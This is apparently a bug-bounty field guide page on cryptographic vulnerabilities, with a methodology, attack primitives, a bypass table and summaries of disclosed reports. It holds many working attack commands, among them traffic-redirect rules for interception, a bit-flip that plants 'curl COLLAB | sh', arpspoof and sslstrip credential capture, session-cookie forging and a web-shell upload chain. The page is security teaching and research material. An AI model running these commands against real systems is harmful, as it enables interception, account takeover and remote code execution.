⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Vulnerabilities/Cryptographic Issues
Vulnerabilities

Cryptographic Issues

Specimens 91No direct PortSwigger lab

§Basic information

Cryptographic issues are the gap between "we encrypted/signed it" and "it is actually secret and tamper-proof." A scheme can use strong primitives and still fail catastrophically at the seams: a certificate that is never verified, a ciphertext with no MAC, a signature that covers the wrong bytes, a token derived from a clock. The primitive is rarely the bug — the plumbing around it is.

The recurring lesson is that confidentiality is not integrity, and identity is not intent. Unauthenticated stream/CBC ciphertext an attacker can read and write is malleable no matter how strong the cipher. A signature that binds who but not what is a bearer token for any request. A "signed" cookie with no server-held secret is not a token, it is a formula. Crypto flaws are almost always the first link in a chain — MITM → credential theft, signature reuse → fund drain, weak key → RCE — so treat them as escalation primitives, not academic findings.

§Methodology

  1. Attack the transport first. For every native client (mobile/desktop/webview) and every server-to-server HTTP client, point it at an untrusted CA and watch. If traffic flows with no cert error, verification is absent → token/credential MITM.
  2. Enumerate the backend × protocol matrix for multi-backend clients (curl -V). The mainstream OpenSSL/HTTP-1.1 path is usually safe; the odd combo (wolfSSL, mbedTLS, HTTP/3-QUIC, IP-literal host, error branch) is where the verification call is silently skipped.
  3. Reconstruct every signed pre-image. For any HMAC/signed request, work out exactly which fields the signature covers. Missing method/path/body → cross-endpoint replay.
  4. Collect several tokens and look for structure — time-based PRNG (uniqid, mt_rand, microtime), Math.random(), fixed-increment counters. The server Date header often leaks the clock you need to sync candidate generation.
  5. Look for oracles. A value you supply coming back encrypted = an encryption oracle; any endpoint that decrypts that format = a decryption oracle. The pair = full CBC malleability.
  6. Check the key material and the protocol floor. Factorable/short keys (DKIM ≤512-bit), EXPORT/SSLv2 downgrade paths, and default keys shipped in source are permanent compromises.
# Canary: does the client verify the peer cert at all? iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 8080 # Requests appear in Burp with no cert error -> validation absent -> pivot to MITM.

§Attack primitives

Identify which primitive the target exposes, then use the matching technique.

Broken TLS/DTLS/SSH peer verification

The client accepts a certificate/host key it should reject — either wholesale (VERIFYPEER=false) or only on a niche code path. Stand up a transparent proxy with an untrusted CA and see whether the app errors.

# Native client (no CA installed on device): rogue AP + redirect :443 -> proxy iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j DNAT --to COLLAB:8080 # If the app's OAuth token / auth headers show up in the proxy, TLS validation is broken. # Multi-backend client: the mainstream path fails, the alternate path skips the check curl -V # list TLS/SSH backends + HTTP/3 support curl --http3 https://142.251.222.14 # IP host -> sni NULL -> host check skipped curl --http3 https://TARGET --pinnedpubkey sha256//ffff # pinning silently unenforced? # Server-side outbound client: grep the code, then MITM the fetch with a self-signed cert # CURLOPT_SSL_VERIFYPEER=false | rejectUnauthorized:false | InsecureSkipVerify:true | verify=False

Unauthenticated / malleable ciphertext (CFB · OFB · CTR)

Encryption without a MAC protects confidentiality, never integrity. Any stream/CFB/CTR ciphertext you can read and write is malleable: flip a bit, or overwrite a known-plaintext block with your own bytes. (CBC is malleable too but via cut-and-paste / bit-in-previous-block — see the next section.)

# CFB/CTR bit-flip: change plaintext without the key using known plaintext (ELF magic, PE # DOS stub, shebang, ZIP header). newC = oldC XOR knownP XOR desiredP # -> forge a chosen 16-byte block; extend by chaining more blocks. php inject-content.php target.enc 'curl COLLAB | sh\n' # overwrite known first block

CBC cut-and-paste (encrypt + decrypt oracle)

An encrypted token with no MAC, plus a place that reflects your input as ciphertext (encryption oracle) and a place that decrypts that format (decryption oracle), gives you arbitrary plaintext by splicing blocks — no key needed.

# 1) Encryption oracle: your input comes back as ciphertext GET /hangzhou1year/?uuid=@COLLAB/? HTTP/1.1 # view-source reveals Redirect.aspx?EQ=<ciphertext of your string> # 2) Splice/reorder those ciphertext blocks into the decrypt/redirect param GET /Redirect.aspx?EQ=<spliced_ciphertext> HTTP/1.1 # -> decrypts to a redirect target you control (open redirect / data: URI XSS)

Forgeable signatures — length extension & missing-field HMAC

Two classic shapes. md5/sha1(secret + message) with a hex hash param next to the signed data is length-extension forgeable. An HMAC whose pre-image omits method/path/body binds identity but not intent → replay a valid signature onto a destructive endpoint.

# Prefix-MAC length extension: forge md5(secret+data) for an extended message # without the secret. --secret is the *length* of the secret (brute a range with # --secret-min/--secret-max). The appended payload starts with a NUL (0x00) to break # the downstream Refresh header, so it must go in as hex -- a raw $'\x00...' argv # string is truncated at the null and never reaches the hash. hash_extender --data 'http://a.c' --secret <guessed_len> \ --append-format=hex --append '003c7374796c653e...' \ --signature <t> --format md5 # append hex 00 3c7374796c653e... = NUL + "<style>...</style><marquee>..." # out-data-format defaults to hex; URL-encode the emitted bytes into the request: # /redirect?u=<url-encoded extended data>&t=<forged_md5> (NUL kills Refresh, leaves injected HTML)
# HMAC omits intent -> cross-endpoint signature reuse # vulnerable pre-image (identity only): # HMAC(private_key, nonce + clientId + publicKey) # Capture a signed read-only request as MITM, DROP it (keep the nonce unspent), # replay the same signature+nonce against /api/sellLimit with attacker POST params. # correct pre-image must bind intent: # HMAC(private_key, nonce + METHOD + PATH + BODY + clientId + publicKey)

Client-forgeable "stateless" tokens (no server secret)

A signed/hashed cookie reconstructable purely from client-knowable values (IDs + a shared password, hashed but never keyed) is not a token — it is a formula. Missing HMAC/server key means anyone can rebuild it.

# Cookie = b64(id) + b64(sha512(id)) + b64(key) + b64(sha512(key)) — no server secret GET /Download.aspx?PackageID=15849581&FileName=x HTTP/1.1 Cookie: pickup=Subject=&PackageID=<b64(id)><b64(sha512(id))><b64(key)>-<b64(sha512(key))> # -> bypass CAC auth, reach deleted/locked files

Predictable tokens from weak PRNG

Anything security-relevant from a non-CSPRNG is predictable. Time-based (uniqid, mt_rand, microtime) syncs to the server clock; Math.random() (V8 xorshift128+) is recoverable from a handful of outputs.

// md5(uniqid()) reset token: read the server Date header to learn its clock, then // generate every candidate for that second (~1M/sec) and brute the reset URL with Intruder. $recoveryId = substr(chunk_split(strtoupper(md5(uniqid('', true))),8,'-'),-23,22);
// Math.random() for boundaries/tokens/IDs: leak a few outputs, solve xorshift128+ state (z3), // predict the next value. Here a predicted multipart boundary smuggles extra form fields. // predictor: github.com/PwnFunction/v8-randomness-predictor

Weak / factorable keys & legacy-protocol oracles

Short keys are trivially breakable; any legacy endpoint sharing an RSA key can undermine modern TLS on unrelated services (DROWN/FREAK). Inventory for SSLv2/EXPORT anywhere the key is reused, and measure published key sizes.

# DKIM: enumerate selectors, measure modulus bits; <=512 is trivially factorable -> forge signed mail dig txt SELECTOR._domainkey.TARGET +short # parse p=...; factor via github.com/eniac/faas # Legacy downgrade / cross-protocol oracle (should all be zero) testssl.sh --freak TARGET:443 # EXPORT_RSA offered? openssl s_client -ssl2 -connect TARGET:443 # any SSLv2 -> DROWN family nmap --script sslv2-drown -p 443 TARGET
● NOTE
A private key that ever shipped in source (default WebRTC/DTLS certs, placeholder SECRET_KEY) is permanently compromised. The fix is regenerating the key, not rotating configs — grep public repos/firmware for the fingerprint you see live.

§Bypasses

Filter / controlBypassSeen in
Nonce anti-replay masks the HMAC bugDROP the original request so its nonce is never consumed, then replay the signature#3670955
Prefix-MAC integrity md5(secret+url)hash_extender length extension; null byte disables the Refresh header, leaves injected HTML#251572
CBC ciphertext, no MACcut-and-paste block splicing via paired encrypt + decrypt oracle#126203
CBC padding integritypadding-oracle decrypt & forge (Oracle Access Manager encquery=)#728110
Authenticated-mode enforcementrewrite self-describing header CTR→CFB; HMAC only required when header says CTR#742588
CFB/CTR confidentiality-onlybit-flip newC = oldC ⊕ knownP ⊕ desiredP over known plaintext (PE stub/ELF/shebang)#108082
Cert verification (multi-backend)use wolfSSL/mbedTLS/HTTP-3/IP-literal path where the if(sni) guard skips check_host#3150884
Cert verification (by IP)connect to an IP literal so the hostname check is never reached#2416725
Cert verification (native client)transparent proxy + untrusted CA; app never validates#168538
OCSP revocation enforcementnon-revoked status (unauthorized(6)), missing staple, or serial-mismatch treated as OK#2669852
TLS pin/CA (connection pool)case-different CA path or ignored BLOB/issuer option reuses a weaker pooled connection#1223565
Outbound TLS verifyCURLOPT_SSL_VERIFYPEER=false / rejectUnauthorized:false on server-to-server fetch#915585
EXPORT_RSA / SSLv2client accepts a 512-bit ephemeral key in a plain RSA handshake, then factor offline#50170
SSLv2 clear-key length checkinject clear-key bytes as an oracle for master-key recovery (Special DROWN)#138179
HSTS enforcementIDN char that nameprep-folds to .; or zero the state file via an over-length filename#1730660
Signed session cookieforge with a weak/placeholder Flask SECRET_KEY (flask-unsign)#1387366
▲ WARNING
Many crypto bugs only reproduce under a specific precondition — a fresh nonce (drop the first request), a known-plaintext prefix, an over-length filename, one backend out of five. A naive single-shot test that "passes" is not proof the control works; script the exact precondition before concluding it is safe.

§Escalation & impact

Crypto is the entry link; the payout is downstream.

The malleable-ciphertext primitives also pivot laterally into other classes — CBC cut-and-paste into open redirect / data: URI XSS, and forgeable download tokens into IDOR-style access to files the token was never scoped for.

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 91 in this class.

Real-world example

Serialization malleability: RLP decoder accepts trailing bytes outside the signature

◆ Critical
Specimen #396954 · rootstocklabs · awarded · 258 votes · resolved
Program rootstocklabsSurface other

Root cause

Transaction::rlpParse pulls the known fields from a decoded RLP list but never checks that it consumed all bytes; getEncoded() re-emits the full raw buffer (extra bytes included) while signature verification uses getRawEncoded() (extra bytes excluded), so appended arbitrary data survives validation and gets mined.

Method

  1. Take any valid signed transaction and append an extra RLP-encoded element after the last field (s).
  2. Signature check passes (it hashes only the canonical fields), so peers accept and propagate the tx.
  3. Block parser reuses the same decoder, so the tampered tx and its block are considered valid; extra bytes are written to the chain without paying gas.
  4. Variant: a malicious miner or MITM node can append data to any pending tx it relays.
# conceptual: re-encode tx list with an extra element appended RLP.encodeList(nonce, gasPrice, gasLimit, to, value, data, v, r, s, RLP.encodeElement(hex('beefbeefbeef...')))

Insight — Whenever a decoder extracts a fixed set of fields but does not assert it reached end-of-input, and a separate 'canonical' encoding is what gets signed/hashed, an attacker can smuggle extra bytes past the integrity check. Always reject non-canonical encodings and require decode-consumes-all-input.

Real-world example

Telerik DialogHandler weak crypto key brute -> file manager -> ASPX shell (RCE)

◆ Critical
Specimen #491668 · deptofdefense · none · 12 votes · resolved
Program deptofdefenseSurface webChain weak Telerik crypto -> machine key recovery -> DNN filTag file-upload

Root cause

An unpatched Telerik.Web.UI DialogHandler (<=2017.1.118, CVE-2017-9248) uses weak crypto whose machine key / dp value can be brute forced, unlocking the DNN file manager, which permits uploading an ASPX web shell for RCE.

Method

  1. Fingerprint Telerik.Web.UI.DialogHandler.aspx and confirm vulnerable version
  2. Run dp_crypto to brute the encryption key from the DialogHandler responses
  3. Use the recovered key to build a file-manager link
  4. Upload an ASPX web shell via the file manager -> RCE
python dp_crypto.py -k https://TARGET/Providers/HtmlEditorProviders/Telerik/Telerik.Web.UI.DialogHandler.aspx 88 all 21 # then open returned DocumentManager link and upload .aspx shell

Insight — On ASP.NET targets, fingerprint Telerik UI DialogHandler.aspx; older versions have a recoverable key (weak crypto) that unlocks a file manager and yields RCE. A textbook crypto-weakness-to-RCE chain with a public tool (bao7uo/dp_crypto).

Real-world example

Silent hostname-check bypass via X509_VERIFY_PARAM_set1_host namelen=0

◆ Critical
Specimen #329645 · ibb · none · 4 votes · resolved
Program ibbSurface otherTag account-takeover

Root cause

OpenSSL treats X509_VERIFY_PARAM_set1_host(param,host,0) as 'host is a NUL-terminated string' and enables hostname validation; LibreSSL/BoringSSL instead treat namelen=0 as 'clear the expected host' and return success, so apps using the documented idiom perform NO hostname validation and accept any trusted cert for any host (CVE-2018-8970).

Method

  1. Audit C/native TLS clients for X509_VERIFY_PARAM_set1_host(..., 0)
  2. If the binary links LibreSSL>=2.7.0 or BoringSSL, hostname validation is silently off
  3. Verify by connecting with a valid cert for the WRONG hostname - it succeeds
  4. Affected: CPython 3.7 ssl module, mongo-c-driver, likely many others
// documented-but-dangerous on LibreSSL/BoringSSL: X509_VERIFY_PARAM_set1_host(param, servername, 0); // namelen=0 // safe: pass explicit length X509_VERIFY_PARAM_set1_host(param, servername, strlen(servername));

Insight — Cross-library API-contract drift is a rich bug source: the same 'correct' idiom (copied from OpenSSL's own wiki) is a critical MitM hole on a compatible-but-divergent implementation. Always pass explicit lengths and test hostname mismatch against every SSL backend you link.

Real-world example

Client-forgeable download token from public inputs (no server secret)

◆ Critical
Specimen #496326 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface webChain forged download cookie -> CAC auth bypass -> access toTag account-takeover

Root cause

A file-download authorization cookie is built entirely from client-knowable values (base64 file ID + SHA-512 of the file ID + base64 package key + SHA-512 of the key) with NO server-side secret/HMAC, so anyone who knows the file ID and package password can forge the cookie and bypass CAC auth, deletion, and lock controls.

Method

  1. Capture the download cookie format (pickup=...PackageID=<b64 id>...)
  2. Reconstruct it: b64(fileID) + '-' + b64(SHA512(fileID)) + b64(packageKey) + '-' + b64(SHA512(packageKey))
  3. GET /Download.aspx?PackageID=<id>&FileName=x with the forged cookie
  4. Access CAC-protected, deleted, and already-locked files
pickup=Subject=&PackageID=MTU4NDk1ODE=<b64(sha512(id))><b64(key)>-<b64(sha512(key))> GET /Download.aspx?PackageID=15849581&FileName=dog.jpg HTTP/1.1 Cookie: pickup=Subject=&PackageID=...

Insight — An authorization token with no server-held secret is not a token, it's a formula. Whenever a signed/hashed cookie can be reconstructed purely from values the client already knows (IDs + a shared password), it is forgeable - look for missing HMAC/server key in 'stateless' auth cookies.

Real-world example

Hard-coded/public DTLS cert+private key enables SRTP stream hijack

◆ High
Specimen #531032 · slack · USD 2000 · 169 votes · resolved
Program slackSurface webChain MITM/TURN hijack -> known DTLS key -> attacker-set SRT

Root cause

A WebRTC (Janus) server ships with the default certificate AND private key that were once distributed publicly in the upstream repo; anyone can obtain the key, so the DTLS identity that protects the SRTP key exchange is not secret.

Method

  1. Capture a call with Wireshark (filter stun) and note the DTLS cert (string 'rainmaker') / SetRemoteDescription fingerprint in about:webrtc-internals.
  2. Pull the old default cert+key from the upstream commit that removed them; confirm SHA256 fingerprint matches the live server.
  3. As MITM (ARP/DNS/route), hijack the TURN server, present the known default cert, skip verifying the victim's cert, and set your own SRTP master key over that DTLS session.
openssl x509 -noout -fingerprint -sha256 -inform pem -in janus-cert1.crt # compare with the SetRemoteDescription fingerprint seen in about:webrtc-internals

Insight — For any TLS/DTLS/WebRTC service, fingerprint the presented certificate and grep public repos/firmware for a matching default cert+key. A private key that ever shipped in source is permanently compromised; the fix is regenerating the key, not rotating configs.

Real-world example

Weak/placeholder Flask SECRET_KEY -> forge signed session cookies (flask-unsign)

◆ High
Specimen #1387366 · kubernetes · USD 250 · 85 votes · resolved
Program kubernetesSurface webTag account-takeover

Root cause

A stateless-cookie framework (Flask) signs session cookies with a guessable/placeholder secret (literally 'N/A'), so an attacker can recover the key by dictionary/brute force and mint arbitrary signed sessions.

Method

  1. Grab the session cookie from Set-Cookie.
  2. Decode it and brute-force the signing secret with flask-unsign's wordlist.
  3. Once the secret is known, re-sign a forged session payload to manipulate identity/state.
curl https://TARGET -Is | grep -i cookie flask-unsign -u -c "eyJfcGVybWFuZW50Ijp0cnVlfQ.YX-V3g.NET76NNJbweb_qagyfYl2_7TDJg" # with wordlist: pip3 install flask-unsign[wordlist]; flask-unsign --unsign --wordlist ... # forge: flask-unsign --sign --cookie "{'user_id': 1}" --secret 'N/A'

Insight — On any stateless-cookie app, always test the signing secret with flask-unsign / CookieMonster: dev placeholders ('test','changeme','secret','N/A') and env defaults ship to prod constantly. Recovered secret = full session forgery / privilege escalation.

Real-world example

Client app (mobile/desktop) skips TLS cert validation -> transparent-proxy MITM harvests tokens

◆ High
Specimen #168538 · x · USD 2100 · 40 votes · resolved
Program xSurface mobile-iosChain rogue AP -> transparent MITM -> OAuth token capture -&Tag account-takeover

Root cause

A native app does not validate the server TLS certificate, so a transparent MITM (untrusted CA / self-signed cert) can read the encrypted traffic and steal OAuth tokens / credentials the app sends.

Method

  1. Run Burp in transparent mode generating per-host certs from Burp's (untrusted) CA.
  2. Stand up a rogue Wi-Fi AP and redirect :443 to the proxy with iptables.
  3. Connect the device, open the app; if requests appear in Burp without the app rejecting the cert, cert validation is broken -> capture OAuth token / auth headers.
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j DNAT --to $BURP_IP:8080 iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 8080 # then observe e.g. GET /1.1/help/settings.json with the app's OAuth token in Burp

Insight — Test every native mobile/desktop client (and embedded webviews) against a transparent proxy with an UNtrusted CA. If traffic is visible without the app erroring, TLS validation is absent -> full credential/token MITM. Desktop 'register/login' webviews and backup/update clients are frequent offenders.

Real-world example

Hash malleability via ambiguous transaction concatenation (Hyperledger Fabric CVE-2023-46132)

◆ High
Specimen #2255968 · hyperledger · none · 34 votes · resolved
Program hyperledgerSurface other

Root cause

Fabric's block DataHash concatenates the raw transaction byte-arrays with no length prefix/delimiter before hashing; because transaction parsing ignores trailing bytes, an attacker can merge two adjacent transactions into one (or otherwise re-draw boundaries) producing a different transaction set with an identical DataHash and block hash => silent state fork.

Method

  1. Obtain a valid block whose DataHash = H(tx1 || tx2 || ...).
  2. Re-encode the block so tx1 and tx2 are stored as a single entry (bytes identical when concatenated).
  3. Peers parse the merged entry, consume only tx1's fields, and drop tx2 -- yet the block hash is unchanged, so no tampering is detected.
# original: |tx1|tx2|tx3| hashed bytes: tx1tx2tx3 # tampered: |tx1tx2|tx3| hashed bytes: tx1tx2tx3 (same hash, one fewer tx)

Insight — Any hash/signature computed over concatenated variable-length items WITHOUT length prefixes or a proper Merkle tree is malleable; combined with a parser that ignores trailing bytes it lets you add/drop elements at a fixed digest. Demand length-delimited or Merkle-tree hashing.

Real-world example

Predictable password-reset token from PHP uniqid()

◆ High
Specimen #576504 · revive_adserver · none · 31 votes · resolved
Program revive_adserverSurface webChain Predict reset token -> set admin password -> auth bypaTag account-takeover

Root cause

Password-recovery tokens were md5(uniqid()) - uniqid() is derived only from the current time (seconds + microseconds, <7 bytes entropy, ~1M values/sec without more_entropy), so tokens are predictable and brute-forceable.

Method

  1. Enumerate the admin email and confirm reset works
  2. Read the server Date header to learn its clock/timezone
  3. At the moment you request the reset, generate the same md5(uniqid()) tokens locally for that second
  4. Try the ~1M candidate tokens against the reset endpoint with Intruder
$recoveryId = substr(chunk_split(strtoupper(md5(uniqid('', true))),8,'-'),-23,22); // generate 10k+ candidates for the target second and brute force the reset URL

Insight — Audit reset/session token generation for time-based PRNGs (uniqid, mt_rand, microtime). The Date response header leaks the server clock needed to sync candidate generation.

Real-world example

TLS session resumption reuses sessions that failed hostname verification (CVE-2020-8172)

◆ High
Specimen #811502 · nodejs · awarded · 29 votes · resolved
Program nodejsSurface otherTag account-takeover

Root cause

Node's TLS layer emitted the 'session' event (caching the session for reuse) even when checkServerIdentity/hostname verification had failed, because the session callback fires independently of onConnectSecure. Resumed sessions then skip hostname verification (guarded by !isSessionReused), so a cached bad session silently bypasses identity checks on later requests to the same host:port.

Method

  1. Target a server with a valid CA-signed cert for ANY hostname that supports TLS resumption.
  2. MITM/redirect the victim's first request to that server; hostname verification fails and the request errors, BUT the session is still cached.
  3. Win the race to reuse the cached session before it is evicted (PoC uses setImmediate against the https Agent session cache).
  4. Second request resumes the session, skips hostname check, and succeeds against the wrong host = MITM (200 response).
# poc.js output: # [!] First request failed: Host: nodejs.org. is not in the cert's altnames: DNS:loca.host # [x] Starting second request (reuses globalAgent._sessionCache) # [!] Bypassed hostname verification. Server response: 200

Insight — When reviewing any TLS stack with session caching, verify that sessions failing certificate/hostname validation are NOT inserted into the cache and that resumed sessions still enforce identity. 'Session reuse' + 'skip verification on resume' is a recurring MITM pattern (see also curl CVE-2021-22890).

Real-world example

Cleartext/mixed-content login -> sslstrip MITM

◆ High
Specimen #214571 · rockstargames · 350 · 24 votes · resolved
Program rockstargamesSurface webTag account-takeover

Root cause

A login/comment form is served on an HTTP page (no HSTS); an on-path attacker downgrades the request with sslstrip and captures credentials in plaintext.

Method

  1. Identify a login form reachable over http:// (mixed content, no HSTS)
  2. On-path (ARP spoof), run sslstrip to strip the HTTPS upgrade
  3. Capture the plaintext POST credentials
arpspoof -t VICTIM GATEWAY sslstrip -l 8080 # then read POST creds

Insight — Any credential form reachable via http:// without HSTS preload is sslstrip-able; check for missing Strict-Transport-Security and http-first form actions.

Real-world example

JWE ECDH-ES invalid curve attack -> private key recovery

◆ High
Specimen #213437 · ibb · 1000 · 14 votes · resolved
Program ibbSurface otherChain invalid curve oracle -> full static private key recovery Tag jwt

Root cause

JWE (RFC 7516) ECDH-ES did not require validating that the received ephemeral EC public key is a point on the expected curve. Submitting points on weaker/invalid curves and observing decryption outcomes lets an attacker recover the receiver's static ECDH private key. Affected node-jose, jose2go, Nimbus JOSE+JWT, jose4j.

Method

  1. Target a JWE consumer using ECDH-ES with a static recipient key
  2. Send JWE messages whose epk is a crafted point on an invalid/low-order curve
  3. Use decryption success/failure as an oracle and combine residues (CRT/Pohlig-Hellman) to recover the private key
# craft JWE with epk = point on invalid curve; iterate to recover static ECDH-ES private key # refs: blog.intothesymmetry.com / auth0 critical-vuln-in-jwe

Insight — Any ECDH implementation (JWE ECDH-ES, ECIES, custom) MUST validate the peer point lies on the curve. A missing on-curve check is an invalid-curve attack that recovers the private key. Audit JOSE libraries and custom ECDH for the point-validation step.

Real-world example

DROWN: cross-protocol Bleichenbacher oracle via SSLv2 key reuse

◆ High
Specimen #166629 · ibb · awarded · 13 votes · resolved
Program ibbSurface otherChain SSLv2 oracle + key reuse -> decrypt TLS sessions of a non

Root cause

A server supporting SSLv2 + EXPORT ciphers acts as a Bleichenbacher RSA padding oracle. Because RSA keys are often shared across services, sessions to a non-vulnerable server can be decrypted if any server (even SMTP/IMAP/POP) sharing that RSA key still speaks SSLv2.

Method

  1. Enumerate all services on the target that share the same certificate/RSA key
  2. Check whether any of them still supports SSLv2 (or SSLv2 EXPORT ciphers, even with CVE-2015-3197)
  3. Capture TLS sessions to the strong endpoint and use the SSLv2 oracle (~2^50 work + many connections) to decrypt
# find any SSLv2/EXPORT endpoint sharing the target's RSA key (mail, load balancer, etc.)

Insight — Key reuse across services means one weak legacy endpoint compromises the strong one. Always enumerate every service (web, mail, LB) sharing a cert/key, and treat any residual SSLv2 support anywhere as fatal. Disable SSLv2 globally.

Real-world example

Cracking weak PDF password to reach plaintext config credentials

◆ High
Specimen #985133 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface webChain exposed protected PDF -> weak password cracked -> plaiTag webhook

Root cause

A sensitive PDF guide was protected with a weak (wordlist) password; cracking it with pdf2john+john exposed setup instructions and a plaintext configuration-file password for a secure communications app.

Method

  1. Download the password-protected PDF (wget).
  2. Convert to a john-crackable hash: pdf2john.pl guide.pdf > hash.txt.
  3. Crack with a common wordlist: john --wordlist=rockyou.txt hash.txt.
  4. Open the PDF; read the plaintext config password and unprotected config-file location to join the secure channel.
perl pdf2john.pl guide.pdf > hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt john --show --format=PDF hash.txt

Insight — Password-protected documents are not access control. When you find one exposed, run pdf2john/office2john + john/hashcat with rockyou first; weak passwords fall instantly and the contents often chain to further credentials/config. Treat any recoverable-format credential storage as disclosure.

Real-world example

TLS connection-cache poisoning via flawed SSL-config match (curl CVE-2021-22924)

◆ High
Specimen #1223565 · curl · awarded · 5 votes · resolved
Program curlSurface otherChain weaker first connection -> pool match ignores stricter op

Root cause

curl's Curl_ssl_config_matches compared CA/pinning settings incompletely: it ignored CURLOPT_CAINFO_BLOB/ISSUERCERT_BLOB and CURLOPT_ISSUERCERT, and compared capath/cainfo/pinned-key paths (and the sha256// pin) case-insensitively — so a less-secure earlier connection is wrongly reused for a later 'secure' one, neutralizing pinning/CA options and enabling MITM.

Method

  1. Get the app to first open a TLS connection to target host:port with attacker-influenced (weaker) CA/path options
  2. Use a path that differs only in capitalization, or a BLOB/ISSUERCERT option the match ignores
  3. When the app later connects to the same host:port with the intended strict pinning/CA, curl reuses the poisoned pooled connection, skipping the stricter checks
  4. MITM the reused connection
cp /etc/ssl/certs/ca-certificates.crt ca.crt touch CA.crt # second connection should fail if matching were correct, but is wrongly reused: curl --capath /dev/null --cacert $PWD/ca.crt https://curl.se \ --next --capath /dev/null --cacert $PWD/CA.crt https://curl.se

Insight — Connection-reuse/pooling logic must compare ALL security parameters exactly. When auditing HTTP clients, probe whether case-different paths, BLOB cert options, or issuer certs are excluded from the pool-match key — mismatches let a weaker cached connection strip pinning/CA guarantees.

Real-world example

HTTPS-via-HTTP-proxy without CONNECT skips upstream cert validation

◆ High
Specimen #1583680 · nodejs · none · 4 votes · resolved
Program nodejsSurface apiChain absolute-URL proxying -> no e2e TLS -> proxy/network M

Root cause

Undici ProxyAgent (and Node global fetch through it) proxies HTTPS by sending an absolute-URL request (GET https://target) to the proxy instead of opening a CONNECT tunnel; the client never does end-to-end TLS, never validates the upstream cert, and over an HTTP proxy sends 'HTTPS' traffic in plaintext (CVE-2022-32210).

Method

  1. Configure the client with an HTTP proxy (ProxyAgent)
  2. Request an HTTPS site with an invalid cert (self-signed.badssl.com)
  3. It returns 200 instead of failing -> no upstream cert validation
  4. Without the proxy the same request correctly throws 'self-signed certificate'
const undici = require('undici') const dispatcher = new undici.ProxyAgent({ uri: 'http://localhost:8118' }) console.log((await undici.fetch('https://self-signed.badssl.com', { dispatcher })).status) // 200 (should throw)

Insight — When testing any HTTP client's proxy support, force an invalid upstream cert (badssl.com) through the proxy: if it succeeds, the client isn't doing CONNECT + end-to-end TLS and all 'HTTPS' traffic is exposed to (and forgeable by) the proxy and the network.

Real-world example

CBC padding oracle -> decrypt & forge (Oracle Access Manager encquery)

◆ High
Specimen #728110 · deptofdefense · awarded · 3 votes · resolved
Program deptofdefenseSurface webChain padding oracle -> decrypt session token -> forge/encryTag account-takeover

Root cause

An app-layer parameter is CBC-encrypted and the server returns distinguishable responses on valid vs invalid padding, giving a padding oracle. Because all messages share one key, the oracle both decrypts and (via reverse of the attack) encrypts arbitrary plaintext.

Method

  1. Find an opaque encrypted parameter/cookie (here OAM `encquery`/`encreply`/`OAMAuthnCookie`; ASP.NET `WebResource.axd?d=`; any base64 CBC blob).
  2. Confirm a padding oracle: flip bytes of the last block and observe differential error/response signaling valid vs invalid PKCS7 padding.
  3. Run an automated padding-oracle tool against the sink to recover plaintext block-by-block.
  4. Reverse the oracle to encrypt attacker-chosen plaintext (e.g. a forged auth cookie) and submit it for authentication bypass.
# OAM (redtimmy OAMBuster), note consent cookie needed on every request: python oambuster.py -d https://TARGET # gcds-consent=true required to skip consent banner # ASP.NET MS10-070 detection against WebResource.axd?d=...&t=...: python ms10-070_check.py https://TARGET/WebResource.axd?d=<ciphertext>&t=<ts>

Insight — Any opaque, server-decrypted, CBC-mode blob (SSO tokens, ViewState/.axd, download links, license/session cookies) is a candidate padding oracle. A single reused key means decrypt-capability equals encrypt/forge-capability -> auth bypass, not just disclosure. Probe for differential padding-error responses before assuming it is opaque.

Real-world example

Static/reused DH exponent + non-safe primes -> private key recovery (CVE-2016-0701)

◆ High
Specimen #113288 · ibb · awarded · 2 votes · resolved
Program ibbSurface otherTag mitm

Root cause

When DH parameters are built on non-'safe' primes (X9.42/RFC5114 style, or dhparam -dsaparam) and the server reuses the same private DH exponent (SSL_OP_SINGLE_DH_USE not set, or static-DH ciphersuites), an attacker completing multiple handshakes can recover the peer's private DH exponent via small-subgroup confinement.

Method

  1. Detect DHE/static-DH with parameters from non-safe primes (X9.42 files with a 'q', RFC5114 groups).
  2. Determine whether the private exponent is reused (SSL_OP_SINGLE_DH_USE off, or static DH where the key is in the cert).
  3. Complete multiple handshakes reusing that exponent to recover private-key information from the small subgroup structure.
# Non-safe params generated by: openssl genpkey -genparam -algorithm DH -pkeyopt dh_rfc5114:2 openssl dhparam -dsaparam 2048 # Defense: set SSL_OP_SINGLE_DH_USE (default-on and forced post-1.0.2f) and use safe primes.

Insight — Two conditions must co-occur: non-safe primes AND private-exponent reuse. Static-DH ciphersuites always reuse (key is in the cert) and are the highest-risk. When auditing TLS crypto config, flag static DH and any DH params lacking safe primes plus missing SINGLE_DH_USE.

Real-world example

Unauthenticated encryption public keys enable key-replacement against data-at-rest

◆ High
Specimen #732431 · nextcloud · none · 2 votes · resolved
Program nextcloudSurface webChain key-file write -> public key replacement -> future fil

Root cause

Server-side-encryption key files (master, per-user, recovery public keys) are stored without integrity protection, so anyone with write access to the data directory (including an external storage provider hosting it) can replace a public key with their own; all subsequently created/modified files get encrypted to the attacker's key (CVE-2020-8259).

Method

  1. Gain write access to the data-at-rest directory (external storage / backup / infra access, not app admin)
  2. Replace a stored public key file (e.g. recovery or admin account) with an attacker-generated key
  3. Wait for new/modified files to be encrypted; each is now also encrypted to the attacker key
  4. Decrypt those files with the attacker's private key
# No app credentials needed. Overwrite data/<user>/files_encryption/.../publicKey with attacker pubkey. # Fix: store fingerprint/MAC of each key file (keyed by instanceid+secret+filename) and verify on read.

Insight — Encryption is only as strong as key integrity. When reviewing at-rest encryption, ask: are the public keys authenticated? If key material lives in a directory an attacker (or a storage provider) can write, and there is no MAC/fingerprint check, encryption gives no confidentiality against that party. Transferable to any KMS-less scheme that stores keys next to data.

Real-world example

Node.js policy integrity bypass by overriding internal Hash binding

◆ Medium
Specimen #2208860 · ibb · $1270 · 82 votes · resolved
